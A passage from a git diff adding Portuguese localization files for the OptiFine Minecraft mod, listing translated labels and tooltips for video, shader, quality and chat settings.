depuração (F3). +of.options.LAGOMETER.tooltip.2=* Laranja - Coletor de lixo de memória +of.options.LAGOMETER.tooltip.3=* Ciano - Ciclos +of.options.LAGOMETER.tooltip.4=* Azul - Executáveis esperados +of.options.LAGOMETER.tooltip.5=* Roxo - Envio de chunks +of.options.LAGOMETER.tooltip.6=* Vermelho - Atualizações de chunks +of.options.LAGOMETER.tooltip.7=* Amarelo - Verificação de visibilidade +of.options.LAGOMETER.tooltip.8=* Verde - Renderização de terreno + +of.options.PROFILER=Análise de depuração +of.options.PROFILER.tooltip.1=Análise de depuração +of.options.PROFILER.tooltip.2= Sim - Depuração ativada (lento) +of.options.PROFILER.tooltip.3= Não - Depuração desativada (rápido) +of.options.PROFILER.tooltip.4=A análise de depuração coleta e exibe dados de +of.options.PROFILER.tooltip.5=depuração ao ativar o modo (F3). + +of.options.WEATHER=Clima +of.options.WEATHER.tooltip.1=Clima +of.options.WEATHER.tooltip.2= Sim - ativar controle do clima (lento) +of.options.WEATHER.tooltip.3= Não - desativar controle do clima (rápido) +of.options.WEATHER.tooltip.4=O clima controla a chuva e neve. Disponível +of.options.WEATHER.tooltip.5=apenas em mundos locais. + +of.options.time.dayOnly=Apenas dia +of.options.time.nightOnly=Apenas noite + +of.options.TIME=Tempo +of.options.TIME.tooltip.1=Tempo +of.options.TIME.tooltip.2= Padrão - ciclos de dia e noite +of.options.TIME.tooltip.3= Apenas dia - diurno +of.options.TIME.tooltip.4= Apenas noite - noturno +of.options.TIME.tooltip.5=Disponível apenas no modo Criativo e +of.options.TIME.tooltip.6=mundos locais. + +options.fullscreen.tooltip.1=Tela inteira +options.fullscreen.tooltip.2= Sim - jogar em tela inteira +options.fullscreen.tooltip.3= Não - jogar em janela +options.fullscreen.tooltip.4=O modo tela inteira pode ser mais lento ou mais rápido +options.fullscreen.tooltip.5=do que o de janela, dependendo da placa de vídeo. + +options.fullscreen.resolution=Resolução +options.fullscreen.resolution.tooltip.1=Resolução da tela inteira +options.fullscreen.resolution.tooltip.2= Padrão - resolução do monitor (lento) +options.fullscreen.resolution.tooltip.3= WxH - resolução personalizada (rápido) +options.fullscreen.resolution.tooltip.4=A resolução escolhida é usada em tela inteira. +options.fullscreen.resolution.tooltip.5=Resoluções baixas geralmente são mais rápidas. + +of.options.SHOW_FPS=Mostrar FPS +of.options.SHOW_FPS.tooltip.1=Exibe a taxa de quadros e informações de renderização. +of.options.SHOW_FPS.tooltip.2= FPS - média/mínima +of.options.SHOW_FPS.tooltip.3= C: - renderizadores de chunks +of.options.SHOW_FPS.tooltip.4= E: - entidades renderizadas + blocos-entidades +of.options.SHOW_FPS.tooltip.5= U: - atualizações de chunks +of.options.SHOW_FPS.tooltip.6=A taxa de quadros só é visível quando a tela +of.options.SHOW_FPS.tooltip.7=de depuração não é exibida. + +of.options.save.45s=45s +of.options.save.90s=90s +of.options.save.3min=3min +of.options.save.6min=6min +of.options.save.12min=12min +of.options.save.24min=24min + +of.options.AUTOSAVE_TICKS=Autossalvamento +of.options.AUTOSAVE_TICKS.tooltip.1=Intervalo do autossalvamento +of.options.AUTOSAVE_TICKS.tooltip.2= 45s - padrão +of.options.AUTOSAVE_TICKS.tooltip.3=Podem haver travamentos, dependendo do alcance visual. +of.options.AUTOSAVE_TICKS.tooltip.4=O mundo também é salvo ao abrir o menu do jogo. + +of.options.SCREENSHOT_SIZE=Captura de tela +of.options.SCREENSHOT_SIZE.tooltip.1=Tamanho da captura de tela +of.options.SCREENSHOT_SIZE.tooltip.2= Padrão - tamanho predefinido +of.options.SCREENSHOT_SIZE.tooltip.3= 2x-4x - tamanho personalizado +of.options.SCREENSHOT_SIZE.tooltip.4=Tamanhos maiores requerem mais memória. +of.options.SCREENSHOT_SIZE.tooltip.5=Incompatível com a renderização rápida e suavização. +of.options.SCREENSHOT_SIZE.tooltip.6=Requer o suporte de framebuffer da GPU. + +of.options.SHOW_GL_ERRORS=Erros da OpenGL +of.options.SHOW_GL_ERRORS.tooltip.1=Mostrar erros da OpenGL +of.options.SHOW_GL_ERRORS.tooltip.2=Os erros da OpenGL são exibidos no chat. +of.options.SHOW_GL_ERRORS.tooltip.3=Desativar apenas se houver conflitos e os erros +of.options.SHOW_GL_ERRORS.tooltip.4=não puderem ser corrigidos. +of.options.SHOW_GL_ERRORS.tooltip.5=Ao desativar, os erros ainda são registrados e +of.options.SHOW_GL_ERRORS.tooltip.6=podem reduzir a taxa de quadros. + +# Chat Settings + +of.options.CHAT_BACKGROUND=Fundo do chat +of.options.CHAT_BACKGROUND.tooltip.1=Fundo do chat +of.options.CHAT_BACKGROUND.tooltip.2= Padrão - largura fixa +of.options.CHAT_BACKGROUND.tooltip.3= Compacto - flexível +of.options.CHAT_BACKGROUND.tooltip.4= Não - oculto + +of.options.CHAT_SHADOW=Sombra do chat +of.options.CHAT_SHADOW.tooltip.1=Sombra do chat +of.options.CHAT_SHADOW.tooltip.2= Sim - ativar sombra +of.options.CHAT_SHADOW.tooltip.3= Não - desativar sombra diff --git a/src/assets/minecraft/optifine/lang/pt_pt.lang b/src/assets/minecraft/optifine/lang/pt_pt.lang new file mode 100644 index 00000000..56f36fce --- /dev/null +++ b/src/assets/minecraft/optifine/lang/pt_pt.lang @@ -0,0 +1,781 @@ +# General +of.general.ambiguous=ambíguo +of.general.compact=Compacto +of.general.custom=Personalizado +of.general.from=De +of.general.id=Id +of.general.max=Máximo +of.general.restart=reiniciar +of.general.smart=Garridas + +# Keys +of.key.zoom=Zoom + +# Message +of.message.aa.shaders1=O antiserrilhamento não é compatível com as shaders. +of.message.aa.shaders2=Desativa as shaders para ativares esta opção. + +of.message.af.shaders1=A filtração anisotrópica não é compatível com as shaders. +of.message.af.shaders2=Desativa as shaders para ativares esta opção. + +of.message.fr.shaders1=O carregamento rápido não é compatível com as shaders. +of.message.fr.shaders2=Desativa as shaders para ativares esta opção. + +of.message.an.shaders1=O 3D Anaglífico não é compatível com as shaders. +of.message.an.shaders2=Desativa as shaders para ativares esta opção. + +of.message.shaders.aa1=As shaders não são compatíveis com o antiserrilhamento. +of.message.shaders.aa2=Vai a "Qualidade", define o antiserrilhamento para "Não", e reinicia o jogo. + +of.message.shaders.af1=As shaders não são compatíveis com filtração anisotrópica. +of.message.shaders.af2=Vai a "Qualidade" e define a "filtração anisotrópica" para "Não". + +of.message.shaders.fr1=As shaders não são compatíveis com o carregamento rápido. +of.message.shaders.fr2=Vai a "Desempenho" e define o "carregamento rápido" para "Não". + +of.message.shaders.an1=As shaders não são compatíveis com o 3D anaglífico. +of.message.shaders.an2=Vai a "Outros" e define o "3D anaglífico" para "Não". + +of.message.shaders.nv1=Este pacote de shaders requer uma nova versão do OptiFine: %s +of.message.shaders.nv2=Tens a certeza que queres continuar? + +of.message.newVersion=Uma nova versão do §eOptiFine§f está agora disponível: §e%s§f +of.message.java64Bit=Podes instalar o §eJava de 64 bits§f para aumentar o desempenho. +of.message.openglError=§eErro da OpenGL§f: %s (%s) + +of.message.shaders.loading=A carregar shaders: %s + +of.message.other.reset=Redefinir todas as definições de vídeo para o padrão? + +of.message.loadingVisibleChunks=A carregar chunks visíveis + +# Skin customization + +of.options.skinCustomisation.ofCape=Capa do OptiFine... + +of.options.capeOF.title=Capa do OptiFine +of.options.capeOF.openEditor=Abrir o editor de capas +of.options.capeOF.reloadCape=Recarregar a capa + +of.message.capeOF.openEditor=O editor de capas do OptiFine deverá abrir numa nova página no browser. +of.message.capeOF.reloadCape=A capa do OptiFine será recarregada daqui a 15 segundos. + +of.message.capeOF.error1=Falha na autenticação da Mojang. +of.message.capeOF.error2=Erro: %s + +# Video settings + +options.graphics.tooltip.1=Qualidade visual +options.graphics.tooltip.2= Rápida - menor qualidade, rápido +options.graphics.tooltip.3= Elegante - maior qualidade, lento +options.graphics.tooltip.4=Altera a aparência das nuvens, folhas, água, +options.graphics.tooltip.5=sombras e ainda as laterais da relva. + +of.options.renderDistance.tiny=Minúscula +of.options.renderDistance.short=Curta +of.options.renderDistance.normal=Normal +of.options.renderDistance.far=Longa +of.options.renderDistance.extreme=Extrema +of.options.renderDistance.insane=Insana +of.options.renderDistance.ludicrous=Ridícula + +options.renderDistance.tooltip.1=Alcance visual +options.renderDistance.tooltip.2= 2 Minúscula - 32m (rápida) +options.renderDistance.tooltip.3= 8 Normal - 128m (normal) +options.renderDistance.tooltip.4= 16 Longa - 256m (lenta) +options.renderDistance.tooltip.5= 32 Extrema - 512m (muito lenta) exige muitos recursos +options.renderDistance.tooltip.6= 48 Insana - 768m, precisas de 2GB de RAM +options.renderDistance.tooltip.7= 64 Ridícula - 1024m, precisas de 3GB de RAM +options.renderDistance.tooltip.8=Valores acima de 16 só serão eficazes em mundos locais. + +options.ao.tooltip.1=Iluminação suave +options.ao.tooltip.2= Não - sem iluminação suave (rápida) +options.ao.tooltip.3= Mínimo - iluminação suave simples (lenta) +options.ao.tooltip.4= Máximo - iluminação suave complexa (muito lenta) + +options.framerateLimit.tooltip.1=Limite de fps +options.framerateLimit.tooltip.2= VSync - limitar os fps do monitor (60, 30, 20) +options.framerateLimit.tooltip.3= 5-255 - variável +options.framerateLimit.tooltip.4= Ilimitado - sem limite (rápido) +options.framerateLimit.tooltip.5=O limite diminuirá o número fps mesmo que esta +options.framerateLimit.tooltip.6=não atinja o valor máximo. +of.options.framerateLimit.vsync=VSync + +of.options.AO_LEVEL=Nível da ilum. suave +of.options.AO_LEVEL.tooltip.1=Nível da iluminação suave +of.options.AO_LEVEL.tooltip.2= Desligado - sem sombras +of.options.AO_LEVEL.tooltip.3= 50%% - sombras claras +of.options.AO_LEVEL.tooltip.4= 100%% - sombras escuras + +options.viewBobbing.tooltip.1=Balanço da visão +options.viewBobbing.tooltip.2=Se estiveres a usar mipmaps, desliga isto para +options.viewBobbing.tooltip.3=obteres melhores resultados. + +options.guiScale.tooltip.1=Tamanho da interface +options.guiScale.tooltip.2= Automática - Tamanho máximo +options.guiScale.tooltip.3= Pequena, Normal, Grande - 1x to 3x +options.guiScale.tooltip.4= 4x to 10x - disponível em monitores 4K +options.guiScale.tooltip.5=Valores ímpares (1x, 3x, 5x...) não são compatíveis com o +options.guiScale.tooltip.6=Unicode. Uma interface pequena é normalmente mais rápida. + +options.vbo=VBOs +options.vbo.tooltip.1=Vertex Buffer Objects +options.vbo.tooltip.2=Usa um modelo de carregamento alternativo que normalmente +options.vbo.tooltip.3=é mais rápido (5-10%%) que o carregamento padrão. + +options.gamma.tooltip.1=Altera o brilho dos objetos mais escuros. +options.gamma.tooltip.2= Sombrio - brilho padrão +options.gamma.tooltip.3= 1-99%% - variável +options.gamma.tooltip.4= Claro - brilho máximo para objetos escuros +options.gamma.tooltip.5=Esta opção não altera a luminosidade de +options.gamma.tooltip.6=objetos completamente negros. + +options.anaglyph.tooltip.1=3D anaglífico +options.anaglyph.tooltip.2=Ativa o efeito 3D estereoscópio com o uso de diferentes +options.anaglyph.tooltip.3=cores para cada olho. +options.anaglyph.tooltip.4=Requere óculos 3D, daqueles azuis e vermelhos, +options.anaglyph.tooltip.5=para uma visualização adequada. + +options.attackIndicator.tooltip.1=Configura a posição do indicador de ataque +options.attackIndicator.tooltip.2= Mira - debaixo da mira +options.attackIndicator.tooltip.3= Barra - ao lado da barra rápida +options.attackIndicator.tooltip.4= Não - sem indicador de ataque +options.attackIndicator.tooltip.5=O indicador de ataque dispõe a força do ataque +options.attackIndicator.tooltip.6=do item na mão do jogador. + +of.options.ALTERNATE_BLOCKS=Alternar blocos +of.options.ALTERNATE_BLOCKS.tooltip.1=Alternar blocos +of.options.ALTERNATE_BLOCKS.tooltip.2=Usa modelos alternativos para alguns dos blocos. +of.options.ALTERNATE_BLOCKS.tooltip.3=Depende do pacote de recursos seleciondado. + +of.options.FOG_FANCY=Nevoeiro +of.options.FOG_FANCY.tooltip.1=Tipo de nevoeiro +of.options.FOG_FANCY.tooltip.2= Rápido - nevoeiro rápido +of.options.FOG_FANCY.tooltip.3= Elegante - nevoeiro lento, melhor aspeto +of.options.FOG_FANCY.tooltip.4= Não - sem nevoeiro, mais rápido +of.options.FOG_FANCY.tooltip.5=O nevoeiro "Elegante" só está disponível se for +of.options.FOG_FANCY.tooltip.6=suportado pela placa gráfica atual. + +of.options.FOG_START=Começo do nevoeiro +of.options.FOG_START.tooltip.1=Começo do nevoeiro +of.options.FOG_START.tooltip.2= 0.2 - o nevoeiro começa perto do jogador +of.options.FOG_START.tooltip.3= 0.8 - o nevoeiro começa longe do jogador +of.options.FOG_START.tooltip.4=Esta opção, por norma, não afeta o desempenho. + +of.options.CHUNK_LOADING=Carreg. de chunks +of.options.CHUNK_LOADING.tooltip.1=Carregamento de chunks +of.options.CHUNK_LOADING.tooltip.2= Padrão - fps instáveis durante o carregamento +of.options.CHUNK_LOADING.tooltip.3= Fluído - fps estáveis +of.options.CHUNK_LOADING.tooltip.4= Multi-Core - fps estáveis, carregamento 3x mais rápido +of.options.CHUNK_LOADING.tooltip.5="Fluído" e "Multi-Core" removem o "gaguejo" e as +of.options.CHUNK_LOADING.tooltip.6=paragens causadas pelo carregamento de chunks. +of.options.CHUNK_LOADING.tooltip.7="Multi-Core" pode carregar o mundo até 3x mais rápido e +of.options.CHUNK_LOADING.tooltip.8=aumentar os fps com o uso de um CPU secundário. +of.options.chunkLoading.smooth=Fluído +of.options.chunkLoading.multiCore=Multi-Core + +of.options.shaders=Shaders... +of.options.shadersTitle=Shaders + +of.options.shaders.packNone=Não +of.options.shaders.packDefault=(interno) + +of.options.shaders.ANTIALIASING=Antiserrilha +of.options.shaders.ANTIALIASING.tooltip.1=Antiserrilhamento +of.options.shaders.ANTIALIASING.tooltip.2= Não - (padrão) sem antiserrilhamento (rápido) +of.options.shaders.ANTIALIASING.tooltip.3= FXAA 2x, 4x - linhas e cantos antiserrilhados (lento) +of.options.shaders.ANTIALIASING.tooltip.4=O FXAA é um efeito pós-processamento, que melhora as +of.options.shaders.ANTIALIASING.tooltip.5=linhas dentadas e as transições acerbas das cores. +of.options.shaders.ANTIALIASING.tooltip.6=É mais rápido que a antiserrilha tradicional e é +of.options.shaders.ANTIALIASING.tooltip.7=compatível com as shaders e o carregamento rápido. + +of.options.shaders.NORMAL_MAP=Mapa normal +of.options.shaders.NORMAL_MAP.tooltip.1=Mapa normal +of.options.shaders.NORMAL_MAP.tooltip.2= Sim - (padrão) ativa os mapas normais +of.options.shaders.NORMAL_MAP.tooltip.3= Não - desativa os mapas normais +of.options.shaders.NORMAL_MAP.tooltip.4=Os mapas normais podem ser usados pelo pacote +of.options.shaders.NORMAL_MAP.tooltip.5=de shaders para simularem uma geometria 3D em +of.options.shaders.NORMAL_MAP.tooltip.6=superfícies planas. As texturas dos mapas normais +of.options.shaders.NORMAL_MAP.tooltip.7=são suportadas pelo pacote de recursos atual. + +of.options.shaders.SPECULAR_MAP=Mapa especular +of.options.shaders.SPECULAR_MAP.tooltip.1=Mapa especular +of.options.shaders.SPECULAR_MAP.tooltip.2= Sim - (padrão) ativa os mapas especulares +of.options.shaders.SPECULAR_MAP.tooltip.3= Não - desativa os mapas especulares +of.options.shaders.SPECULAR_MAP.tooltip.4=Os mapas especulares podem ser usados pelo +of.options.shaders.SPECULAR_MAP.tooltip.5=pacotes de shaders para simularem efeitos especiais +of.options.shaders.SPECULAR_MAP.tooltip.6=de reflexo. As texturas dos mapas especulares são +of.options.shaders.SPECULAR_MAP.tooltip.7=suportadas pelo pacote de recursos atual. + +of.options.shaders.RENDER_RES_MUL=Qual. de carregamento +of.options.shaders.RENDER_RES_MUL.tooltip.1=Qualidade de carregamento +of.options.shaders.RENDER_RES_MUL.tooltip.2= 0.5x - baixa (rápido) +of.options.shaders.RENDER_RES_MUL.tooltip.3= 1x - padrão +of.options.shaders.RENDER_RES_MUL.tooltip.4= 2x - alta (lento) +of.options.shaders.RENDER_RES_MUL.tooltip.5=A qualidade de carregamento controla o tamanho da +of.options.shaders.RENDER_RES_MUL.tooltip.6=texura que o pacote de shaders está a carregar. +of.options.shaders.RENDER_RES_MUL.tooltip.7=Os valores baixos podem ser úteis em ecrãs 4K. +of.options.shaders.RENDER_RES_MUL.tooltip.8=Os valores altos funcionam como filtração antiserrilha. + +of.options.shaders.SHADOW_RES_MUL=Qual. das sombras +of.options.shaders.SHADOW_RES_MUL.tooltip.1=Qualidade das sombras +of.options.shaders.SHADOW_RES_MUL.tooltip.2= 0.5x - baixa (rápido) +of.options.shaders.SHADOW_RES_MUL.tooltip.3= 1x - padrão +of.options.shaders.SHADOW_RES_MUL.tooltip.4= 2x - alta (lento) +of.options.shaders.SHADOW_RES_MUL.tooltip.5=A qualidade das sombras controla o tamanho das texturas +of.options.shaders.SHADOW_RES_MUL.tooltip.6=sombrias do mapa usadas pelo pacote de shaders. +of.options.shaders.SHADOW_RES_MUL.tooltip.7=Valores baixos = ríspida, sombras brutas +of.options.shaders.SHADOW_RES_MUL.tooltip.8=Valores altos = detalhadas, sombras aprazíveis + +of.options.shaders.HAND_DEPTH_MUL=Profun. da mão +of.options.shaders.HAND_DEPTH_MUL.tooltip.1=Profundidade da mão +of.options.shaders.HAND_DEPTH_MUL.tooltip.2= 0.5x - mão perto da câmara +of.options.shaders.HAND_DEPTH_MUL.tooltip.3= 1x - padrão +of.options.shaders.HAND_DEPTH_MUL.tooltip.4= 2x - mão longe da câmara +of.options.shaders.HAND_DEPTH_MUL.tooltip.5=A profundidade da mão controla o quão longe os +of.options.shaders.HAND_DEPTH_MUL.tooltip.6=objetos em mão, estão da câmara. Para os pacotes +of.options.shaders.HAND_DEPTH_MUL.tooltip.7=de shaders com o uso de desfoque, isto alterará +of.options.shaders.HAND_DEPTH_MUL.tooltip.8=a desfocagem dos objetos que tiveres na mão. + +of.options.shaders.CLOUD_SHADOW=Sombras das nuvens + +of.options.shaders.OLD_HAND_LIGHT=Ilum. da mão +of.options.shaders.OLD_HAND_LIGHT.tooltip.1=Iluminação da mão +of.options.shaders.OLD_HAND_LIGHT.tooltip.2= Padrão - controlado pelo pacote de shaders +of.options.shaders.OLD_HAND_LIGHT.tooltip.3= Sim - usa o antigo sistema de iluminação da mão +of.options.shaders.OLD_HAND_LIGHT.tooltip.4= Não - usa o novo sistema de iluminação da mão +of.options.shaders.OLD_HAND_LIGHT.tooltip.5=A iluminação antiga da mão, permite que os pacotes de +of.options.shaders.OLD_HAND_LIGHT.tooltip.6=shaders, que apenas reconhecem items emissores de luz +of.options.shaders.OLD_HAND_LIGHT.tooltip.7=na mão principal, reconheca também items que estejam +of.options.shaders.OLD_HAND_LIGHT.tooltip.7=ma mão secundária. + +of.options.shaders.OLD_LIGHTING=Ilum. antiga +of.options.shaders.OLD_LIGHTING.tooltip.1=Iluminação antiga +of.options.shaders.OLD_LIGHTING.tooltip.2= Padrão - controlado pelo pacote de shaders +of.options.shaders.OLD_LIGHTING.tooltip.3= Sim - usa o antigo sistema de iluminação +of.options.shaders.OLD_LIGHTING.tooltip.4= Não - não usar o sistema de iluminação antigo +of.options.shaders.OLD_LIGHTING.tooltip.5=A iluminação antiga controla o foco de luz que +of.options.shaders.OLD_LIGHTING.tooltip.6=está aplicado às laterais dos blocos. +of.options.shaders.OLD_LIGHTING.tooltip.7=Pacotes de shaders com o uso de sombras, garantem +of.options.shaders.OLD_LIGHTING.tooltip.8=uma melhor iluminação dependendo da posição do sol. + +of.options.shaders.DOWNLOAD=Transferir Shaders +of.options.shaders.DOWNLOAD.tooltip.1=Transferir Shaders +of.options.shaders.DOWNLOAD.tooltip.2= +of.options.shaders.DOWNLOAD.tooltip.3=Abre o pacote de shaders numa nova página no browser. +of.options.shaders.DOWNLOAD.tooltip.4=Coloca as shaders que transferiste na "Pasta de Shaders" +of.options.shaders.DOWNLOAD.tooltip.5=e elas aparecerão na lista de shaders instaladas. + +of.options.shaders.SHADER_PACK=Pasta de shaders + +of.options.shaders.shadersFolder=Pasta de shaders +of.options.shaders.shaderOptions=Opções das shaders... + +of.options.shaderOptionsTitle=Opções das shaders + +of.options.quality=Qualidade... +of.options.qualityTitle=Definições de qualidade + +of.options.details=Detalhes... +of.options.detailsTitle=Definições de detalhes + +of.options.performance=Desempenho... +of.options.performanceTitle=Definições de desempenho + +of.options.animations=Animações... +of.options.animationsTitle=Definições das animações + +of.options.other=Outros... +of.options.otherTitle=Outras definições + +of.options.other.reset=Repor definições de vídeo... + +of.shaders.profile=Perfil + +# Quality - Qualidade + +of.options.mipmap.bilinear=2x +of.options.mipmap.linear=Linear +of.options.mipmap.nearest=Próximo +of.options.mipmap.trilinear=3x + +options.mipmapLevels.tooltip.1=Efeito visual que dá um melhor aspeto aos objetos +options.mipmapLevels.tooltip.2=distantes, melhorando os detalhes das texturas +options.mipmapLevels.tooltip.3= Não - sem otimização de texturas +options.mipmapLevels.tooltip.4= 1 - otimização mínima +options.mipmapLevels.tooltip.5= Máximo - otimização máxima +options.mipmapLevels.tooltip.6=Esta opção, por norma, não afeta o desempenho. + +of.options.MIPMAP_TYPE=Tipo de mipmap +of.options.MIPMAP_TYPE.tooltip.1=Efeito visual que dá um melhor aspeto aos objetos +of.options.MIPMAP_TYPE.tooltip.2=distantes, melhorando os detalhes das texturas +of.options.MIPMAP_TYPE.tooltip.3= Próximo - otimização brusca (rápido) +of.options.MIPMAP_TYPE.tooltip.4= Linear - otimização normal +of.options.MIPMAP_TYPE.tooltip.5= 2x - otimização delicada +of.options.MIPMAP_TYPE.tooltip.6= 3x - otimização precisa (lento) + +of.options.AA_LEVEL=Antiserrilhamento +of.options.AA_LEVEL.tooltip.1=Antiserrilhamento +of.options.AA_LEVEL.tooltip.2= Não - (padrão) sem antiserrilhamento (rápido) +of.options.AA_LEVEL.tooltip.3= 2-16 - linhas e cantos antiserrilhados (lento) +of.options.AA_LEVEL.tooltip.4=A antiserrilha melhora as linhas dentadas e as +of.options.AA_LEVEL.tooltip.5=transições acerbas das cores. +of.options.AA_LEVEL.tooltip.6=Quando ativada, pode reduzir substancialmente os fps. +of.options.AA_LEVEL.tooltip.7=Nem todos os níveis são suportados por todas as placas +of.options.AA_LEVEL.tooltip.8=gráficas. Só é eficaz após o reinício do jogo. + +of.options.AF_LEVEL=Filt. anisotrópica +of.options.AF_LEVEL.tooltip.1=Filtração anisotrópica +of.options.AF_LEVEL.tooltip.2= Não - detalhe predefinido das texturas (rápido) +of.options.AF_LEVEL.tooltip.3= 2-16 - mais detalhes nas texturas de mipmap (lento) +of.options.AF_LEVEL.tooltip.4=A filtração anisotrópica recupera os detalhes nas +of.options.AF_LEVEL.tooltip.5=texturas de mipmap. +of.options.AF_LEVEL.tooltip.6=Quando ativada, pode reduzir substancialmente os fps. + +of.options.CLEAR_WATER=Ãgua límpida +of.options.CLEAR_WATER.tooltip.1=Ãgua limpa +of.options.CLEAR_WATER.tooltip.2= Sim - água limpa e transparente +of.options.CLEAR_WATER.tooltip.3= Não - água padrão + +of.options.RANDOM_ENTITIES=Ent. aleatórias +of.options.RANDOM_ENTITIES.tooltip.1=Entidades aleatórias +of.options.RANDOM_ENTITIES.tooltip.2= Não - sem entidades aleatórias, rápido +of.options.RANDOM_ENTITIES.tooltip.3= Sim - entidades aleatórias, lento +of.options.RANDOM_ENTITIES.tooltip.4=As entidades aleatórias usam texturas aleatorizadas +of.options.RANDOM_ENTITIES.tooltip.5=para as entidades do jogo. Precisa de um pacote +of.options.RANDOM_ENTITIES.tooltip.5=de recursos que possua várias texturas das entidades. + +of.options.BETTER_GRASS=Relva formosa +of.options.BETTER_GRASS.tooltip.1=Relva formosa +of.options.BETTER_GRASS.tooltip.2= Não - textura lateral padrão da relva, rápido +of.options.BETTER_GRASS.tooltip.3= Rápida - textura lateral coberta da relva, lento +of.options.BETTER_GRASS.tooltip.4= Elegante - textura lateral elegante da relva, muito lento + +of.options.BETTER_SNOW=Neve formosa +of.options.BETTER_SNOW.tooltip.1=Neve formosa +of.options.BETTER_SNOW.tooltip.2= Não - neve padrão, rápido +of.options.BETTER_SNOW.tooltip.3= Sim - neve formosa, lento +of.options.BETTER_SNOW.tooltip.4=Dispõe a neve por baixo de blocos transparentes +of.options.BETTER_SNOW.tooltip.5=(cercas, relvas) quando estes estão na borda de +of.options.BETTER_SNOW.tooltip.6=um bloco. + +of.options.CUSTOM_FONTS=Tipos de letra person. +of.options.CUSTOM_FONTS.tooltip.1=Tipos de letra personalizados +of.options.CUSTOM_FONTS.tooltip.2= Sim - usar tipos de letra personalizados (padrão), lento +of.options.CUSTOM_FONTS.tooltip.3= Não - usar o tipo de letra predefinido, rápido +of.options.CUSTOM_FONTS.tooltip.4=Os tipos de letra personalizados são suportadas pelo +of.options.CUSTOM_FONTS.tooltip.5=pacote de recursos atual. + +of.options.CUSTOM_COLORS=Cores personal. +of.options.CUSTOM_COLORS.tooltip.1=Cores personalizadas +of.options.CUSTOM_COLORS.tooltip.2= Sim - usar cores personalizadas (padrão), lento +of.options.CUSTOM_COLORS.tooltip.3= Não - cores predefinidas, rápido +of.options.CUSTOM_COLORS.tooltip.4=As cores personalizadas são suportadas pelo +of.options.CUSTOM_COLORS.tooltip.5=pacote de recursos atual. + +of.options.SWAMP_COLORS=Cores do pântano +of.options.SWAMP_COLORS.tooltip.1=Cores do pântano +of.options.SWAMP_COLORS.tooltip.2= Sim - usar cores do pântano (padrão), lento +of.options.SWAMP_COLORS.tooltip.3= Não - não usar cores do pântano, rápido +of.options.SWAMP_COLORS.tooltip.4=As cores do pântano afetam a relva, as folhas, as +of.options.SWAMP_COLORS.tooltip.5=trepadeiras e a água. + +of.options.SMOOTH_BIOMES=Biomas integrados +of.options.SMOOTH_BIOMES.tooltip.1=Biomas integrados +of.options.SMOOTH_BIOMES.tooltip.2= Sim - intergração das bordas dos biomas (padrão), lento +of.options.SMOOTH_BIOMES.tooltip.3= Não - distinguir as bordas dos biomas, rápido +of.options.SMOOTH_BIOMES.tooltip.4=A integração na borda dos biomas é feita pela média +of.options.SMOOTH_BIOMES.tooltip.5=de matizes de todos os blocos ao redor. +of.options.SMOOTH_BIOMES.tooltip.6=Afeta a relva, folhas, trepadeiras e água. + +of.options.CONNECTED_TEXTURES=Tex. interligadas +of.options.CONNECTED_TEXTURES.tooltip.1=Texturas interligadas +of.options.CONNECTED_TEXTURES.tooltip.2= Não - sem texturas interligadas (padrão) +of.options.CONNECTED_TEXTURES.tooltip.3= Rápidas - texturas interligadas rápidas +of.options.CONNECTED_TEXTURES.tooltip.4= Elegantes - texturas interligadas elegantes +of.options.CONNECTED_TEXTURES.tooltip.5=As texturas interligadas unem as texturas do vidro, +of.options.CONNECTED_TEXTURES.tooltip.6=arenito e das estantes quando colocadas ao lado +of.options.CONNECTED_TEXTURES.tooltip.7=umas das outras. As texturas interligadas são +of.options.CONNECTED_TEXTURES.tooltip.8=suportadas pelo pacote de recursos atual. + +of.options.NATURAL_TEXTURES=Tex. naturais +of.options.NATURAL_TEXTURES.tooltip.1=Texturas naturais +of.options.NATURAL_TEXTURES.tooltip.2= Não - sem texturas naturais (padrão) +of.options.NATURAL_TEXTURES.tooltip.3= Sim - usar texturas naturais +of.options.NATURAL_TEXTURES.tooltip.4=As texturas naturais removem o padrão "em grelha" +of.options.NATURAL_TEXTURES.tooltip.5=criado pela repetição do mesmo tipo de bloco. +of.options.NATURAL_TEXTURES.tooltip.6=Roda e inverte os blocos para criar variantes da +of.options.NATURAL_TEXTURES.tooltip.7=textura base do bloco. As texturas naturais são +of.options.NATURAL_TEXTURES.tooltip.8=suportadas pelo pacote de recursos atual. + +of.options.EMISSIVE_TEXTURES=Tex. emissivas +of.options.EMISSIVE_TEXTURES.tooltip.1=Texturas emissivas +of.options.EMISSIVE_TEXTURES.tooltip.2= Não - não usar texturas emissivas (padrão) +of.options.EMISSIVE_TEXTURES.tooltip.3= Sim - usar texturas emissivass +of.options.EMISSIVE_TEXTURES.tooltip.4=As texturas emissivas são caregadas como uma +of.options.EMISSIVE_TEXTURES.tooltip.5=película com o brilho máximo. Podem ser usadas para +of.options.EMISSIVE_TEXTURES.tooltip.6=simular partes que emitem luz de uma textura base. +of.options.EMISSIVE_TEXTURES.tooltip.7=As texturas emissivas são suportadas pelo pacote de +of.options.EMISSIVE_TEXTURES.tooltip.8=recursos atual. + +of.options.CUSTOM_SKY=Céu personalizado +of.options.CUSTOM_SKY.tooltip.1=Céu personalizado +of.options.CUSTOM_SKY.tooltip.2= Sim - texturas personalizadas do céu (padrão), lento +of.options.CUSTOM_SKY.tooltip.3= Não - céu padrão, rápido +of.options.CUSTOM_SKY.tooltip.4=As texturas padrão do céu são suportadas pelo pacote +of.options.CUSTOM_SKY.tooltip.5=de recursos atual. + +of.options.CUSTOM_ITEMS=Itens personal. +of.options.CUSTOM_ITEMS.tooltip.1=Itens personalizados +of.options.CUSTOM_ITEMS.tooltip.2= Sim - texturas personalizadas dos itens (padrão), lento +of.options.CUSTOM_ITEMS.tooltip.3= Não - texturas padrão dos itens, rápido +of.options.CUSTOM_ITEMS.tooltip.4=As texturas personalizadas dos itens são suportadas +of.options.CUSTOM_ITEMS.tooltip.5=pelo pacote de recursos atual. + +of.options.CUSTOM_ENTITY_MODELS=Mod. personal. das enti. +of.options.CUSTOM_ENTITY_MODELS.tooltip.1=Modelos personalizados das entidades +of.options.CUSTOM_ENTITY_MODELS.tooltip.2= Sim - modelos personalizados das entidades +of.options.CUSTOM_ENTITY_MODELS.tooltip.3=(padrão), lento +of.options.CUSTOM_ENTITY_MODELS.tooltip.4= Não - modelos padrões das entidades, rápido +of.options.CUSTOM_ENTITY_MODELS.tooltip.5=Os modelos personalizados das entidades são suportados +of.options.CUSTOM_ENTITY_MODELS.tooltip.6=pelo pacote de recursos atual. + +of.options.CUSTOM_GUIS=Interfaces personal. 